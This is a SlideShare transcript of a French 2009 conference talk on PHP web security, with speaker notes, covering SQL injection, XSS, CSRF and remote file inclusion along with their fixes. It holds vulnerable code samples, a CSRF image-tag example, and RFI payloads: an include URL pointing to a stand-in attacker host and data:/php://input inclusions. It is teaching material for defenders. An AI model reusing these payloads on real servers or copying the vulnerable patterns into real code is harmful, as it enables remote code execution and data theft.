0
J’ai des trous, des p’tits trous,   encore des p’tits trous...Sécurité des applications web en PHP - Sébastien Pauchet et ...
Sébastien Pauchet      seb@automne.ws - @Automne_WS‣   Responsable technique chez WS interactive‣   Architecte logiciel du...
Frank Taillandier frank.taillandier@ac-toulouse.fr - @DirtyF‣ Chef de projet web‣ «Expert» en accessibilité web‣ Contribut...
Sécurité ?
Sécurité : définition« Les principes de la sécurité dune application sont un ensemble depropriétés souhaitables de comporte...
97% des sites web sont hautement vulnérables           http://www.webappsec.org/projects/statistics/
Points essentiels1.   Mettre en place une défense en profondeur (sécurité à tous les niveaux)2.   Minimiser la surface d’a...
Ouvert 24/24
Les 3 phases d’un exploit Détection •   Recherche d’informations liées aux applications et au système •   Tests automatisé...
Les attaques
Injections SQL
Injection SQLDifférents types d’injection : SQL, LDAP, XPath, XSLT,HTML, XML, commandes systèmes et beaucoupd’autres.Défini...
Injection SQLExempleSi la donnée provenant d’un utilisateur est envoyée à un interpréteur sans aucune validationou encodag...
Injection SQLSolutions• Validation de toutes les données d’entrée.• Evitez les messages d’erreurs détaillés.• Utilisez de ...
XSS : cross-site scripting
XSS : cross-site scriptingDéfinition : XSS consiste à injecter du code HTMLou Javascript sur un site.Conséquences : Détourn...
XSS : cross-site scriptingPar réflexion : une page renverra à lutilisateur desdonnées fournies directement à celui-ci :echo...
XSS : cross-site scriptingSolutionsValidation d’entrée : valider la longueur, le type et la syntaxe de toute entréesaisie ...
CSRF : cross-site request forgery
CSRF : cross-site request forgeryDéfinitionForcer le navigateur dune victime ayant une session ouverte sur uneapplication w...
CSRF : cross-site request forgery•   Bob est ladministrateur dun forum, il y est connecté par un système de    sessions.• ...
CSRF : Cross Site Request ForgerySolution•   Ne pas utiliser de requête HTTP GET pour effectuer des actions.•   Demander d...
RFI : Remote File Inclusion
RFI : Remote File InclusionDéfinition : Linclusion de fichier distant permet dexécuter son propre code survotre serveur en e...
RFI : Remote File Inclusion  Avant PHP 4.2 (ou allow_url_fopen + register_globals activé) :        include $_SERVER[‘DOCUM...
RFI : Remote File InclusionSolution• Filtrer les entrées utilisateurs (whitelist).• Sécuriser les configurations (désactive...
ConclusionPour les développeurs• Pensez à la sécurité lors de la conception de vos applications ;• Adopter les standards d...
Ressources•   OWASP : Open Web Application Security Project•   Les dix vulnérabilités de sécurité applicatives web les plu...
Crédits photos•   Impact : http://www.flickr.com/photos/dirtyf/3369077142/•   Security Guard : http://www.flickr.com/photos/...
Upcoming SlideShare
Loading in...5
×

Securitedesapplications 091011120426-phpapp02

402

Published on

0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
402
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
16
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide
  • \n\n
  • \n
  • \n
  • Questions :\nQui a des notions de sécurité ?\nQui développe des sites web côté serveur ?\nQui gère un ou plusieurs sites internet ?\nQui a déjà subi des tentatives d’attaques ?\nQui a déjà eu subi une attaque avec succès ?\n\nPouvez-vous nous donner votre définition de la sécurité ?\n
  • The Open Web Application Security Project (OWASP) est une communauté mondiale libre et ouverte dont le but est d’améliorer la sécurité des applications. Leur mission est de rendre la sécurité visible de manière à ce que les developpeurs et les entreprises puissent être mieux informés sur les les vrais risques applicatifs liés à la sécurité. \n\n\n\nTout le monde peut participer à l’OWASP et tous leurs documents sont publiés sous licence libre.\nL’OWASP est une association à but non lucratif bien que de nombreuses entreprises spécialisées dans la sécurité ou le logiciel (Microsoft, HP, Nokia, etc.) les soutiennent.\n
  • Les analyses montrent que 7% des sites web audités peuvent être compromis automatiquement. Environ 7.7% des applications avaient des vulnérabilités hautement critiques détectées pendant les scans automatisés.\nSi on utilise des méthodes manuelles et des méthodes plus complexes, la probabilité de detecter des vulnérabilités hautement critiques atteint 96.85%.\n\n
  • 1. Exemple de la banque : sas de sécurité, gardes, caméras, coffre, combinaison, etc.\n2. Plugins (slide de chris)\n2. Une banque avec une seule porte sera plus simple à défendre que si elle en possède 10 :)\n3. Si vous laissez la porte d’entrée ouverte, ce n’est pas pour ça que le coffre lui est accessible.\n4. La guichetiere n’a pas accès au coffre\n5. Microsoft qui a longtemps reposé sa sécurité sur la fait que son code était fermé\n6. Pouvoir réagir vite en cas d’attaque. Facile à maintenir et à faire évoluer.\n7. Pas la peine de mettre 70 caméras mais ne pas non plus se contenter d’une seule à l’entrée.\n8. Aussi épais que soit les murs de la banque, ils peuvent être percés.\n9. User is evil ! Votre nouveau guichetier se nomme peut être Jérôme Kerviel :)\n10. On ne va pas exiger un toucher rectal à tous les clients de la banque, mais on peut contrôler leur carte d’identité.\n
  • Alors c’est comment chez vous ? Parce que chez beaucoup c’est ouvert 24h/24 !\nAlors quels sont les points essentiels à privilégier lors de la conception de vos applications web ?\n
  • 1ère phase : connaître son ennemi (RATM) : White Box testing ou Black box testing (Input/Output) : reverse engineering\n2eme phase : Choisir la manière dont on va lui «mettre sa carotte»\n\nSQL Injection : le but est d’envoyer des requêtes SQL non permises par défaut\nXSS : faire exécuter du javascript (ou d’autres langages) au site distant via les URLs ou les formulaires\nCSRF : modification d’URL qui entraine des actions non prévues sur le site (très vicieux)\nExemple d’attaque DOS : mettre MySQL en sleep :)\n\nExemples d’exploitation : \nUn cas très courant est de transformer votre serveur web en relai de spams : votre domaine peut se retrouver blacklister !\nObtention de données confidentielles : récupérer les numéros de carte bleue de vos clients, les login/passwd + emails (exemple Ev Williams de Twitter - ingénieurie sociale)\n\n\n
  • Comment elles se passent et comment s’en protéger ?\n\nhttp://www.flickr.com/photos/joriel/3230590513/\n
  • \nhttp://www.flickr.com/photos/codearachnid/2557451631/\n
  • Test avec un compte root + moulinettes basées sur des dico\n\n1 mot qui existe dans le dictionnaire peut-être facilement cassé en quelques minutes\n\nSolution : Ajouter un délai de 5 secondes entre chaque tentative de connexion et verrouiller le compte après 10 tentatives infructueuses.\n
  • \n
  • Comment se passe l’attaque : on teste si les formulaires ou les URLs permettent d’injecter du code SQL (un simple string transformé en sleep suffit) et si ça passe on va chercher à effectuer des requêtes pour obtenir des données confidentielles (comme votre login, votre email ou votre numéro de CB si c’est un site de e-commerce.)\n
  • \n
  • Pour PHP, utilisez mysql_real_escape_string() si vous utilisez MySQL, ou utilisez plutôt PDO qui ne nécessite pas d’échappement.\nne pas utiliser Les fonctions PHP addslashes() ou les fonctions de remplacement de caractères comme str_replace("’", "’’").\n
  • \n
  • En 2007 des chercheurs ont estimé que 68% des sites web sont ouverts aux attaques XSS\n\nComment se passe l’attaque : On recherche des formulaires ou URLs permettant d’injecter du code HTML et/ou javascript sur le site, qui impacteront les utilisateurs et/ou les administrateurs.\n\nUsurper l’identité, récupérer des données, obtenir des privilèges, envoyer des codes malicieux, rediriger l’internaute, \n\nWhere worms of old would do childish things like defacing your site, the new ones are silent and invisible, so you only notice them when they screw up (as this one did) or your site gets removed from Google for having spam and malware on it.\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • http post : poster quelque chose\n
  • http://www.flickr.com/photos/cayusa/2530412232/\n
  • \n
  • Exemple concret sur une application \n
  • Un code typique vulnérable:\ninclude $_REQUEST['filename’];\nNot only does this allow evaluation of remote hostile scripts, it can be used to access local file servers (if PHP is \nhosted upon Windows) due to SMB support in PHP’s file system wrappers.\nD’autre méthodes d’attaques sont possibles via : \n§ Le chargement de données hostiles en fichiers de sessions, fichiers de logs ou via des images (type des lo-\ngiciels de forums)\n§ L’utilisation de flux de compressions ou audios, tels zlib:// ou ogg:// qui n’inspectent par la configuration \nde PHP et permettent alors d’accéder à des ressources distantes même si la variable allow_url_fopen ou \nallow_url_include est désactivée.\n§ L’utilisation de wrappers PHP, tels que des entrées php:// et autre pour passer des données en POST plu-\ntôt que via un fichier.\nL’utilisation de wrappers PHP, comme data:;base64,PD9waHAgcGhwaW5mbygpOz8+\n
  • \n
  • \n\n
  • \n
  • Transcript of "Securitedesapplications 091011120426-phpapp02"

    1. 1. J’ai des trous, des p’tits trous, encore des p’tits trous...Sécurité des applications web en PHP - Sébastien Pauchet et Frank Taillandier - 10 octobre 2009 - Paris Web
    2. 2. Sébastien Pauchet seb@automne.ws - @Automne_WS‣ Responsable technique chez WS interactive‣ Architecte logiciel du CMS open-source Automne‣ Ingénieur PHP5 certifié par Zend‣ 10 ans de développement Web
    3. 3. Frank Taillandier frank.taillandier@ac-toulouse.fr - @DirtyF‣ Chef de projet web‣ «Expert» en accessibilité web‣ Contributeur au CMS open-source Automne
    4. 4. Sécurité ?
    5. 5. Sécurité : définition« Les principes de la sécurité dune application sont un ensemble depropriétés souhaitables de comportement, de design et de mise enoeuvre qui contribuent à réduire la probabilité de la réalisation et delimpact de menaces. Les principes de sécurité sont indépendants dulangage et de larchitecture et peuvent être un levier dans la plupartdes méthodologies de développement pour concevoir et construire desapplications.En considérant ces principes nous pouvons prendre des décisionsdarchitecture et dimplémentation et identifier les faiblesses possiblesdes systèmes. » Source : OWASP (Open Web Application Security Project)
    6. 6. 97% des sites web sont hautement vulnérables http://www.webappsec.org/projects/statistics/
    7. 7. Points essentiels1. Mettre en place une défense en profondeur (sécurité à tous les niveaux)2. Minimiser la surface d’attaque3. Minimiser la portée des erreurs4. Exécuter avec le minimum de droits5. Eviter de baser uniquement la sécurité sur un système fermé6. Garder un système de sécurité simple (KISS)7. Pouvoir détecter les intrusions (garder une verbosité suffisante des fichiers journaux)8. Ne jamais faire confiance à l’infrastructure9. Ne pas se fier aux utilisateurs10. Mettre en place une sécurité par défaut psychologiquement acceptable
    8. 8. Ouvert 24/24
    9. 9. Les 3 phases d’un exploit Détection • Recherche d’informations liées aux applications et au système • Tests automatisés Les attaques les plus critiques • Injection SQL : 8% des sites web vulnérables (Source : stats WASC 2007) • XSS (Cross site scripting) : 31,5% des sites web vulnérables • CSRF (Cross site request forgery) • RFI (Remote file inclusion) Exploitation • Prendre le contrôle de votre infrastructure (accès au serveur) • Obtenir vos données • Modifier vos données • Vous empêcher de communiquer (DOS : denial of service)
    10. 10. Les attaques
    11. 11. Injections SQL
    12. 12. Injection SQLDifférents types d’injection : SQL, LDAP, XPath, XSLT,HTML, XML, commandes systèmes et beaucoupd’autres.Définition : Les attaquants dupent linterpréteur enlui faisant exécuter des commandes non prévues.Conséquences : Permettre de créer, lire, modifier oueffacer les données de l’application.
    13. 13. Injection SQLExempleSi la donnée provenant d’un utilisateur est envoyée à un interpréteur sans aucune validationou encodage, l’application est vulnérable :$sql = "SELECT * FROM table WHERE id = " . $_REQUEST [id’] . "’";
    14. 14. Injection SQLSolutions• Validation de toutes les données d’entrée.• Evitez les messages d’erreurs détaillés.• Utilisez de préférence des requêtes SQL stockées ou les requêtes paramètrées.• N’utilisez pas les fonctions d’échappements simples.
    15. 15. XSS : cross-site scripting
    16. 16. XSS : cross-site scriptingDéfinition : XSS consiste à injecter du code HTMLou Javascript sur un site.Conséquences : Détourner des sessions utilisateur,défigurer des sites web, insérer du contenu hostile,effectuer des attaques par phishing, et prendre lecontrôle du navigateur de lutilisateur.
    17. 17. XSS : cross-site scriptingPar réflexion : une page renverra à lutilisateur desdonnées fournies directement à celui-ci :echo $_REQUEST [userinput];Par stockage : stocke des donées hostiles, etultérieurement, affiche les données non filtrées à lutilisateur.Par injection DOM : le code JavaScript et les variables dusite sont manipulés plutôt que les éléments HTML.
    18. 18. XSS : cross-site scriptingSolutionsValidation d’entrée : valider la longueur, le type et la syntaxe de toute entréesaisie avant daccepter laffichage ou le stockage des données. Accepter seulementquelque chose de connu (whitelist). Rejeter toute entrée invalide.Encodage des données en sortie : Assurez-vous que toutes les donnéesécrites par lutilisateur sont convenablement codées par entité avant le rendu.Pas de blacklist pour détecter XSS. La recherche et le remplacement de justequelques caractères ("<" ">" et dautres caractères ou expressions semblables tellesque "script") est faible. Même un tag non vérifié "<b>" est dangereux dans certainscontextes.Plus d’exemples sur http://ha.ckers.org/xss.html
    19. 19. CSRF : cross-site request forgery
    20. 20. CSRF : cross-site request forgeryDéfinitionForcer le navigateur dune victime ayant une session ouverte sur uneapplication web à effectuer une requête sur cette dernière application.A la différence du XSS qui exploite la confiance d’un utilisateur envers unsite, CSRF exploite la confiance d’un utilisateur envers son navigateur.ConséquencesToute application web qui ...• ne dispose pas de vérifications dautorisation (confirmation, jeton) avant deffectuer des actions,• autorise des requêtes basées sur une authentification automatique (cookies de session, ‘Se souvenir de moi’),... est vulnérable.
    21. 21. CSRF : cross-site request forgery• Bob est ladministrateur dun forum, il y est connecté par un système de sessions.• Alice est un membre, elle veut supprimer un des messages. Elle na pas les droits nécessaires avec son compte. Elle va utiliser celui de Bob grâce à une attaque de type CSRF.• Alice arrive à connaître le lien qui permet de supprimer le message.• Alice envoie à Bob un email contenant une pseudo-image à afficher : <img src="http://bob.com/delete.php?post=id" />• Le navigateur de Bob affiche la pseudo-image ce qui actionne le lien. Ne reconnaissant pas le type dimage associé, le navigateur naffiche rien.• Bob ne sait pas quAlice vient de lui faire supprimer un message.
    22. 22. CSRF : Cross Site Request ForgerySolution• Ne pas utiliser de requête HTTP GET pour effectuer des actions.• Demander des confirmations à lutilisateur pour les actions critiques.• Utiliser des jetons de validité dans les formulaires : <? $token = sha1(rand(0, 99999)); $token_name = sha1(rand(0, 99999)); $_SESSION[token] = $token; $_SESSION[token_name] = token_name(); ?> <form action="/add_post.php" method="post"> <input type="hidden" name="<?php echo $token_name; ?>" value="<?php echo $token; ?>" /> <p>Subject: <input type="text" name="post_subject" /></p> <p>Message: <textarea name="post_message"></textarea></p> <p><input type="submit" value="Add Post" /></p> </form>• Pour les requêtes Ajax : utiliser un header HTTP spécifique à votre application pour signer la requête.
    23. 23. RFI : Remote File Inclusion
    24. 24. RFI : Remote File InclusionDéfinition : Linclusion de fichier distant permet dexécuter son propre code survotre serveur en exploitant la possibilité de linclure directement dans votre site.Conséquences : Fournir des données d’entrée (comme des URLs) dans desfonctions de gestion de fichiers non vérifiées peut conduire :• à l’exécution de code distant,• à l’installation de rootkit pour compromettre votre système.Cette attaque est particulièrement répandue sur PHP, un soin extrême doit êtrepris avec tout flux ou toute fonction de fichier afin de sassurer que lentrée fourniepar lutilisateur ninfluence pas les noms de fichiers.
    25. 25. RFI : Remote File Inclusion Avant PHP 4.2 (ou allow_url_fopen + register_globals activé) : include $_SERVER[‘DOCUMENT_ROOT’].’/fichier.php’; Vulnérable avec l’URL : http://site.tld/file.php?_SERVER[DOCUMENT_ROOT]=http://hacker.tld/ script.txt? Toute version de PHP (quelque soit la configuration) : include $_REQUEST[filename’];Exemple 1: Utiliser php://input pour lire les données POST <?php // L’inclusion suivante va inclure et exécuter toutes // les données POST include "php://input"; ?>Exemple 2: Utiliser data: pour inclure du code arbitraire <?php // L’inclusion suivante va exécuter le code encodé en // base64 : Ici, un phpinfo() include "data:;base64,PD9waHAgcGhwaW5mbygpOz8+"; ?>
    26. 26. RFI : Remote File InclusionSolution• Filtrer les entrées utilisateurs (whitelist).• Sécuriser les configurations (désactiver allow_url_fopen, allow_url_include (PHP 5.2), register_globals).• Ne pas inclure de fichiers depuis une variable.• Vérifiez que les fonctions de fichiers et de gestion de flux sont soigneusement contrôlées. Les données utilisateurs ne doivent pas être utilisées par des fonctions prenant un fichier en argument. Exemple, les fonctions suivantes : include() include_once() require() require_once() fopen() imagecreatefromXXX() file() file_get_contents() copy() delete() unlink() upload_tmp_dir() $_FILES move_uploaded_file()
    27. 27. ConclusionPour les développeurs• Pensez à la sécurité lors de la conception de vos applications ;• Adopter les standards de codage ;• Refactorisez le code existant pour utiliser des conceptions plus sûres ;• Testez votre code pour identifier tout défaut de sécurité ;• Consultez les ouvrages de références.Pour les décideurs• Employez des développeurs qui ont une réelle ou forte expérience dans la sécurité ou formez-les !• Faites tester les défauts de sécurité tout au long du projet : conception, construction, test et déploiement ;• Allouez des ressources, du budget et du temps dans le plan projet pour remédier aux problèmes de sécurité ;• Considérez lutilisation dauditeurs de code tiers.
    28. 28. Ressources• OWASP : Open Web Application Security Project• Les dix vulnérabilités de sécurité applicatives web les plus critiques 2007• Adam Barth, Collin Jackson, and John C. Mitchell : Robust defenses for CSRF• http://ha.ckerz.org : Web Application Security Lab• http://sectools.org/ : logiciels de test automatisés (Nikto, WebScarab, Acunetix, WebInspect,)• http://www.php.net/manual/security• MISC (Multi-system & Internet Security Cookbook) est un magazine bimestriel français spécialisé dans la sécurité informatique
    29. 29. Crédits photos• Impact : http://www.flickr.com/photos/dirtyf/3369077142/• Security Guard : http://www.flickr.com/photos/f1rstborn/2440157127/• Hi Jacking Hot Spot : Luka Skracic• Open : http://www.flickr.com/photos/mag3737/1914076277/• Pirates : http://www.flickr.com/photos/joriel/3230590513/• Injections : http://www.flickr.com/photos/limowreck666/223731385/• Bike air : http://www.flickr.com/photos/dirtyf/3518547212/• Surf fail : http://www.flickr.com/photos/edwindejongh/369296684/• Remote : http://www.flickr.com/photos/cayusa/2530412232/
    1. A particular slide catching your eye?

      Clipping is a handy way to collect important slides you want to go back to later.

    ×